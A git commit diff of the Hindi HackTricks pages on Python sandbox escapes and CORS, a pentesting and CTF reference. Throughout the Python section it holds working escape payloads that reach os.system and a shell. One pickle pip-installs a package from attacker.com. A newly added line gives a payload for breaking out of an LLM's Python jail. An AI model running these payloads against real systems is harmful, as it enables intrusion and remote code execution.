Translated ['generic-methodologies-and-resources/python/bypass-python-sa

This commit is contained in:
Translator 2024-11-12 10:23:08 +00:00
parent 3a8e5bb619
commit 0147d5403c
3 changed files with 97 additions and 76 deletions

View file

@ -9,17 +9,17 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें**
**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें**
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यवसाय पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -27,7 +27,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
## कमांड निष्पादन पुस्तकालय
आपको सबसे पहले यह जानने की आवश्यकता है कि क्या आप किसी पहले से आयातित पुस्तकालय के साथ सीधे कोड निष्पादित कर सकते हैं, या क्या आप इनमें से किसी भी पुस्तकालय को आयात कर सकते हैं:
आपको पहली बात यह जाननी चाहिए कि क्या आप किसी पहले से आयातित पुस्तकालय के साथ सीधे कोड निष्पादित कर सकते हैं, या क्या आप इनमें से किसी भी पुस्तकालय को आयात कर सकते हैं:
```python
os.system("ls")
os.popen("ls").read()
@ -60,23 +60,23 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
याद रखें कि _**open**_ और _**read**_ फ़ंक्शन **फाइलों को पढ़ने** के लिए और **कोड लिखने** के लिए उपयोगी हो सकते हैं जिसे आप **execute** कर सकते हैं ताकि **sandbox** को **bypass** किया जा सके।
याद रखें कि _**open**_ और _**read**_ फ़ंक्शन **फाइलों को पढ़ने** के लिए और **कुछ कोड लिखने** के लिए उपयोगी हो सकते हैं जिसे आप **execute** कर सकते हैं ताकि **sandbox** को **bypass** किया जा सके।
{% hint style="danger" %}
**Python2 input()** फ़ंक्शन प्रोग्राम क्रैश होने से पहले python कोड को execute करने की अनुमति देता है।
**Python2 input()** फ़ंक्शन प्रोग्राम क्रैश होने से पहले पायथन कोड को निष्पादित करने की अनुमति देता है।
{% endhint %}
Python पहले **वर्तमान निर्देशिका से पुस्तकालयों को लोड करने की कोशिश करता है** (निम्नलिखित कमांड यह प्रिंट करेगा कि python मॉड्यूल कहाँ से लोड कर रहा है): `python3 -c 'import sys; print(sys.path)'`
पायथन पहले **वर्तमान निर्देशिका से पुस्तकालयों को लोड करने की कोशिश करता है** (निम्नलिखित कमांड यह प्रिंट करेगा कि पायथन मॉड्यूल कहाँ से लोड कर रहा है): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (559).png>)
## डिफ़ॉल्ट स्थापित python पैकेजों के साथ pickle sandbox को बायपास करें
## डिफ़ॉल्ट स्थापित पायथन पैकेज के साथ पिक्ल सैंडबॉक्स को बायपास करें
### डिफ़ॉल्ट पैकेज
आप यहाँ **पूर्व-स्थापित** पैकेजों की **सूची** पा सकते हैं: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
ध्यान दें कि एक pickle से आप python env को **सिस्टम में स्थापित मनमाने पुस्तकालयों** को **import** करने के लिए बना सकते हैं।\
उदाहरण के लिए, निम्नलिखित pickle, जब लोड किया जाएगा, pip पुस्तकालय को उपयोग करने के लिए import करेगा:
ध्यान दें कि एक पिक्ल से आप पायथन वातावरण को **सिस्टम में स्थापित मनमाने पुस्तकालयों** को **import** करने के लिए बना सकते हैं।\
उदाहरण के लिए, निम्नलिखित पिक्ल, जब लोड किया जाएगा, तो pip पुस्तकालय को उपयोग करने के लिए आयात करेगा:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -111,10 +111,10 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
## पायथन कोड का मूल्यांकन करना
{% hint style="warning" %}
ध्यान दें कि exec मल्टीलाइन स्ट्रिंग्स और ";" की अनुमति देता है, लेकिन eval नहीं (वालरस ऑपरेटर की जाच करें)
ध्यान दें कि exec मल्टीलाइन स्ट्रिंग्स और ";" की अनुमति देता है, लेकिन eval नहीं (वालरस ऑपरेटर की जाच करें)
{% endhint %}
यदि कुछ वर्ण निषिद्ध हैं, तो आप **hex/octal/B64** प्रतिनिधित्व का उपयोग करके **प्रतिबंध को बायपास** कर सकते हैं:
यदि कुछ वर्ण निषिद्ध हैं तो आप **hex/octal/B64** प्रतिनिधित्व का उपयोग करके **bypass** प्रतिबंध कर सकते हैं:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -160,7 +160,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## Bypassing protections through encodings (UTF-7)
In [**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाने पायथन कोड को लोड और निष्पादित करने के लिए किया जाता है:
In [**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाने python कोड को लोड और निष्पादित करने के लिए किया जाता है:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -175,7 +175,7 @@ return x
## कॉल के बिना पायथन निष्पादन
यदि आप एक पायथन जेल के अंदर हैं जो **आपको कॉल करने की अनुमति नहीं देता**, तो **मनमाने फ़ंक्शन, कोड** और **कमांड** को **निष्पादित** करने के कुछ तरीके अभी भी हैं।
यदि आप एक पायथन जेल के अंदर हैं जो **आपको कॉल करने की अनुमति नहीं देता**, तो **मनमाने फ़ंक्शन, कोड** और **कमांड** को **निष्पादित करने** के कुछ तरीके अभी भी हैं।
### [डेकोरेटर्स](https://docs.python.org/3/glossary.html#term-decorator) के साथ RCE
```python
@ -205,7 +205,7 @@ class _:pass
#### कस्टम क्लासेस के साथ RCE
आप कुछ **क्लास विधियों** को (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें, बिना उन्हें प्रत्यक्ष रूप से कॉल किए।
आप कुछ **क्लास विधियों** को (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें बिना उन्हें प्रत्यक्ष रूप से कॉल किए।
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -257,7 +257,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Crating objects with [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
मेटाक्लास हमें जो मुख्य चीज़ करने की अनुमति देता है वह है **क्लास का एक उदाहरण बनाना, बिना सीधे कंस्ट्रक्टर को कॉल किए**, लक्षित क्लास को मेटाक्लास के रूप में उपयोग करके एक नई क्लास बनाकर।
मेटाक्लास हमें जो मुख्य चीज़ करने की अनुमति देता है वह है **क्लास का एक उदाहरण बनाना, बिना सीधे कंस्ट्रक्टर को कॉल किए**, लक्षित क्लास को मेटाक्लास के रूप में एक नई क्लास बनाकर।
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -274,7 +274,7 @@ Sub['import os; os.system("sh")']
```
#### Creating objects with exceptions
जब एक **exception को ट्रिगर** किया जाता है, तो **Exception** का एक ऑब्जेक्ट **बनाया** जाता है बिना आपको सीधे कंस्ट्रक्टर को कॉल किए (एक ट्रिक [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) से):
जब एक **exception उत्पन्न होता है** तो **Exception** का एक ऑब्जेक्ट **बनाया जाता है** बिना आपको सीधे कंस्ट्रक्टर को कॉल किए (एक ट्रिक [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) से):
```python
class RCE(Exception):
def __init__(self):
@ -327,10 +327,10 @@ pass
```
## Builtins
* [**Python2 के बिल्ट-इन फ़ंक्शन**](https://docs.python.org/2/library/functions.html)
* [**Python3 के बिल्ट-इन फ़ंक्शन**](https://docs.python.org/3/library/functions.html)
* [**Python2 के बिल्टिन फ़ंक्शंस**](https://docs.python.org/2/library/functions.html)
* [**Python3 के बिल्टिन फ़ंक्शंस**](https://docs.python.org/3/library/functions.html)
यदि आप **`__builtins__`** ऑब्जेक्ट तक पहुँच सकते हैं, तो आप पुस्तकालय आयात कर सकते हैं (ध्यान दें कि आप यहाँ पिछले अनुभाग में दिखाए गए अन्य स्ट्रिंग प्रतिनिधित्व का भी उपयोग कर सकते हैं):
यदि आप **`__builtins__`** ऑब्जेक्ट तक पहुँच सकते हैं, तो आप लाइब्रेरीज़ आयात कर सकते हैं (ध्यान दें कि आप यहाँ पिछले अनुभाग में दिखाए गए अन्य स्ट्रिंग प्रतिनिधित्व का भी उपयोग कर सकते हैं):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
@ -382,7 +382,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**नीचे एक बड़ा फ़ंक्शन है**](./#recursive-search-of-builtins-globals) जो आपको **builtins** खोजने के लिए दर्जनों/**सैकड़ों** **स्थान** खोजने में मदद करेगा
[**नीचे एक बड़ा फ़ंक्शन है**](./#recursive-search-of-builtins-globals) जो दर्जनों/**सैकड़ों** **जगहों** को खोजने के लिए है जहाँ आप **builtins** पा सकते हैं
#### Python2 और Python3
```python
@ -426,13 +426,13 @@ class_obj.__init__.__globals__
```
[**नीचे एक बड़ा फ़ंक्शन है**](./#recursive-search-of-builtins-globals) जो **ग्लोबल्स** को खोजने के लिए दर्जनों/**सैकड़ों** **जगहों** को ढूंढता है।
## मनमाने निष्पादन का पता लगाना
## मनमाने निष्पादन की खोज करें
यहाँ मैं समझाना चाहता हूँ कि कैसे आसानी से **ज़्यादा खतरनाक कार्यक्षमताओं** का पता लगाया जा सकता है और अधिक विश्वसनीय हमलों का प्रस्ताव िया जा सकता है।
यहाँ मैं समझाना चाहता हूँ कि कैसे आसानी से **ज़्यादा खतरनाक कार्यक्षमताओं को लोड** किया जा सकता है और अधिक विश्वसनीय हमलों का प्रस्ताव िया जा सकता है।
#### बायपास के साथ उपकक्षों तक पहुँच
इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षों** तक पहुँच पाना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं:
इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षों** तक पहुँच प्रप्त करना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -471,7 +471,7 @@ defined_func.__class__.__base__.__subclasses__()
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
हम **अन्य पुस्तकालयों** के साथ भी यही कर सकते हैं जिन्हें हम जानते हैं कि **आदेशों को निष्पादित** करने के लिए उपयोग किया जा सकता है:
हम वही काम **अन्य पुस्तकालयों** के साथ कर सकते हैं जिन्हें हम जानते हैं कि **आदेशों को निष्पादित** करने के लिए उपयोग किया जा सकता है:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -752,18 +752,22 @@ secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
```
### LLM Jails bypass
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### From format to RCE loading libraries
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) यह संभव है कि डिस्क से मनमाने लाइब्रेरी को लोड किया जाए, पायथन में फॉर्मेट स्ट्रिंग वल्नरेबिलिटी का दुरुपयोग करके।
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) यह संभव है कि डिस्क से मनमाने लाइब्रेरी को लोड किया जाए, जो कि पायथन में फॉर्मेट स्ट्रिंग वल्नरेबिलिटी का दुरुपयोग करता है
याद दिलाने के लिए, हर बार जब पायथन में कोई क्रिया की जाती है, तो कुछ फ़ंक्शन निष्पादित होता है। उदाहरण के लिए `2*3` **`(2).mul(3)`** या **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** को निष्पादित करेगा।
आपके पास इस तरह के और भी उदाहरण हैं [**Python execution without calls**](./#python-execution-without-calls) अनुभाग में।
आपके पास इस तरह की और जानकारी है [**Python execution without calls**](./#python-execution-without-calls) अनुभाग में।
एक पायथन फॉर्मेट स्ट्रिंग वल्नरेबिलिटी फ़ंक्शन को निष्पादित करने की अनुमति नहीं देती (यह कोष्ठक का उपयोग करने की अनुमति नहीं देती), इसलिए RCE प्राप्त करना संभव नहीं है जैसे `'{0.system("/bin/sh")}'.format(os)`।\
हालांकि, `[]` का उपयोग करना संभव है। इसलिए, यदि किसी सामान्य पायथन लाइब्रेरी में **`__getitem__`** या **`__getattr__`** विधि है जो मनमाना कोड निष्पादित करती है, तो RCE प्राप्त करने के लिए उनका दुरुपयोग करना संभव है।
हालांकि, `[]` का उपयोग करना संभव है। इसलिए, यदि क सामान्य पायथन लाइब्रेरी में **`__getitem__`** या **`__getattr__`** विधि है जो मनमाना कोड निष्पादित करती है, तो RCE प्राप्त करने के लिए उनका दुरुपयोग करना संभव है।
पायथन में इस तरह के गैजेट की तलाश करते हुए, लेख में यह [**Github खोज क्वेरी**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) प्रस्तुत की गई है। जहाँ उन्होंने यह [एक](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) पाया:
पायथन में इस तरह के गैजेट की तलाश करते हुए, लेख में यह [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) प्रस्तुत किया गया है। जहाँ उन्होंने यह [एक](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) पाया:
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -785,7 +789,7 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
यह गैजेट **डिस्क से एक लाइब्रेरी लोड करने** की अनुमति देता है। इसलिए, इसे किसी न किसी तरह **लाइब्रेरी को लिखने या अपलोड करने** की आवश्यकता है जो हमले के शिकार सर्वर पर सही ढंग से संकलित हो।
यह उपकरण **डिस्क से एक पुस्तकालय लोड करने** की अनुमति देता है। इसलिए, इसे किसी न किसी तरह **पुस्तकालय को लिखने या अपलोड करने** की आवश्यकता है जो हमले के शिकार सर्वर पर सही ढंग से संकलित हो।
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
@ -832,7 +836,7 @@ CustomClassObject.__class__.__init__.__globals__
### **फंक्शन कोड तक पहुँचना**
**`__code__`** और `func_code`: आप फंक्शन के इस **attribute** को **प्राप्त करने** के लिए **एक्सेस** कर सकते हैं **कोड ऑब्जेक्ट** का।
**`__code__`** और `func_code`: आप फंक्शन के इस **attribute** को **प्राप्त करने** के लिए **एक्सेस** कर सकते हैं **कोड ऑब्जेक्ट** फंक्शन का।
```python
# In our current example
get_flag.__code__
@ -958,7 +962,7 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Creating the code object
### कोड ऑब्जेक्ट बनाना
सबसे पहले, हमें यह जानने की आवश्यकता है **कि कोड ऑब्जेक्ट कैसे बनाया और निष्पादित किया जाता है** ताकि हम एक बना सकें जो हमारे फ़ंक्शन को निष्पादित करे जो लीक हुआ है:
```python
@ -991,7 +995,7 @@ types.CodeType.__doc__
### लीक की गई फ़ंक्शन को फिर से बनाना
{% hint style="warning" %}
निम्नलिखित उदाहरण में, हम फ़ंक्शन कोड ऑब्जेक्ट से सीधे फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक करने की आवश्यकता होगी**
निम्नलिखित उदाहरण में, हम फ़ंक्शन कोड ऑब्जेक्ट से फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक** करने की आवश्यकता होगी।
{% endhint %}
```python
fc = get_flag.__code__
@ -1043,9 +1047,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## संकलित पायथन को डिकंपाइल करना
## Decompiling Compiled Python
उपकरणों का उपयोग करते हुए जैसे कि [**https://www.decompiler.com/**](https://www.decompiler.com) कोई दिए गए संकलित पायथन कोड को **डिकंपाइल** कर सकता है।
उपकरणों का उपयोग करते हुए जैसे कि [**https://www.decompiler.com/**](https://www.decompiler.com) कोई दिए गए संकलित पायथन कोड को **decompile** कर सकता है।
**इस ट्यूटोरियल को देखें**:
@ -1053,12 +1057,12 @@ f(42)
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
{% endcontent-ref %}
## विविध पायथन
## Misc Python
### Assert
पायथन को ऑप्टिमाइजेशन के साथ `-O` पैरामीटर के साथ चलाने पर एसेट स्टेटमेंट और **debug** के मान पर आधारित कोई भी कोड हटा दिया जाएगा।\
इसलिए, जाचें जैसे
इसलिए, जाचें जैसे
```python
def check_permission(super_user):
try:
@ -1069,7 +1073,7 @@ print(f"\nNot a Super User!!!\n")
```
will be bypassed
## संदर्भ
## References
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
@ -1078,11 +1082,11 @@ will be bypassed
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें**
**वास्तविक व्यावसायिक प्रभाव के साथ महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -1094,8 +1098,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -25,7 +25,7 @@ Cross-Origin Resource Sharing (CORS) मानक **सर्वरों को
एक **same-origin** नीति यह अनिवार्य करती है कि एक **सर्वर जो** एक संसाधन का अनुरोध कर रहा है और वह सर्वर जो **संसाधन** होस्ट कर रहा है, एक ही प्रोटोकॉल (जैसे, `http://`), डोमेन नाम (जैसे, `internal-web.com`), और **पोर्ट** (जैसे, 80) साझा करें। इस नीति के तहत, केवल एक ही डोमेन और पोर्ट से वेब पृष्ठों को संसाधनों तक पहुँचने की अनुमति है।
`http://normal-website.com/example/example.html` के संदर्भ में same-origin नीति का अनुप्रयोग निम्नलिखित रूप में दर्शाया गया है:
`http://normal-website.com/example/example.html` के संदर्भ में same-origin नीति का अनुप्रयोग इस प्रकार दर्शाया गया है:
| URL accessed | Access permitted? |
| ----------------------------------------- | --------------------------------------- |
@ -40,15 +40,15 @@ Cross-Origin Resource Sharing (CORS) मानक **सर्वरों को
### `Access-Control-Allow-Origin` Header
यह हेडर **कई उत्पत्तियों**, एक **`null`** मान, या एक वाइल्डकार्ड **`*`** की अनुमति दे सकता है। हालाँकि, **कोई भी ब्राउज़र कई उत्पत्तियों का समर्थन नहीं करता है**, और वाइल्डकार्ड `*`े उपयोग पर **सीमाएँ** हैं। (वाइल्डकार्ड को अकेले उपयोग किया जाना चाहिए, और `Access-Control-Allow-Credentials: true` के साथ इसका उपयोग अनुमति नहीं है।)
यह हेडर **कई उत्पत्ति** की अनुमति दे सकता है, एक **`null`** मान, या एक वाइल्डकार्ड **`*`**। हालाँकि, **कोई भी ब्राउज़र कई उत्पत्ति का समर्थन नहीं करता**, और वाइल्डकार्ड `*`ा उपयोग **सीमाओं** के अधीन है। (वाइल्डकार्ड को अकेले उपयोग किया जाना चाहिए, और `Access-Control-Allow-Credentials: true` के साथ इसका उपयोग अनुमति नहीं है।)
यह हेडर **एक सर्वर द्वारा** एक क्रॉस-डोमेन संसाधन अनुरोध के जवाब में जारी किया जाता है जो एक वेबसाइट द्वारा आरंभ किया गया है, जिसमें ब्राउज़र स्वचालित रूप से एक `Origin` हेडर जोड़ता है।
यह हेडर **एक सर्वर द्वारा जारी किया जाता है** एक क्रॉस-डोमेन संसाधन अनुरोध के जवाब में जो एक वेबसाइट द्वारा आरंभ किया गया है, जिसमें ब्राउज़र स्वचालित रूप से एक `Origin` हेडर जोड़ता है।
### `Access-Control-Allow-Credentials` Header
**डिफ़ॉल्ट रूप से**, क्रॉस-उत्पत्ति अनुरोध बिना क्रेडेंशियल्स जैसे कुकीज़ या ऑथराइजेशन हेडर के किए जाते हैं। फिर भी, एक क्रॉस-डोमेन सर्वर क्रेडेंशियल्स भेजे जाने पर प्रतिक्रिया को पढ़ने की अनुमति दे सकता है जब वह `Access-Control-Allow-Credentials` हेडर को **`true`** पर सेट करता है
**डिफ़ॉल्ट** रूप से, क्रॉस-उत्पत्ति अनुरोध बिना क्रेडेंशियल्स जैसे कुकीज़ या ऑथराइजेशन हेडर के किए जाते हैं। फिर भी, एक क्रॉस-डोमेन सर्वर प्रतिक्रिया को पढ़ने की अनुमति दे सकता है जब क्रेडेंशियल्स भेजे जाते हैं, `Access-Control-Allow-Credentials` हेडर को **`true`** सेट करके
यदि इसे `true` पर सेट किया गया है, तो ब्राउज़र क्रेडेंशियल्स (कुकीज़, ऑथराइजेशन हेडर्स, या TLS क्लाइंट सर्टिफिकेट) को संचारित करेगा।
यदि इसे `true` पर सेट किया गया है, तो ब्राउज़र क्रेडेंशियल्स (कुकीज़, ऑथराइजेशन हेडर, या TLS क्लाइंट सर्टिफिकेट) को प्रसारित करेगा।
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -81,7 +81,7 @@ xhr.send('<person><name>Arun</name></person>');
जब विशेष परिस्थितियों के तहत क्रॉस-डोमेन अनुरोध शुरू किया जाता है, जैसे कि **गैर-मानक HTTP विधि** (HEAD, GET, POST के अलावा कुछ भी) का उपयोग करना, नए **हेडर** पेश करना, या विशेष **Content-Type हेडर मान** का उपयोग करना, तो एक प्री-फ्लाइट अनुरोध की आवश्यकता हो सकती है। यह प्रारंभिक अनुरोध, **`OPTIONS`** विधि का उपयोग करते हुए, सर्वर को आगामी क्रॉस-ओरिजिन अनुरोध के इरादों के बारे में सूचित करने के लिए है, जिसमें HTTP विधियाँ और हेडर शामिल हैं जिनका वह उपयोग करने का इरादा रखता है।
**क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS)** प्रोटोकॉल इस प्री-फ्लाइट जांच की मांग करता है ताकि अनुरोधित क्रॉस-ओरिजिन ऑपरेशन की व्यवहार्यता का निर्धारण किया जा सके, जो अनुमत विधियों, हेडरों और मूल की विश्वसनीयता की पुष्टि करता है। प्री-फ्लाइट अनुरोध की आवश्यकता से बचने के लिए किन परिस्थितियों का पालन किया जाता है, इसके विस्तृत समझ के लिए [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) द्वारा प्रदान किए गए व्यापक गाइड का संदर्भ लें।
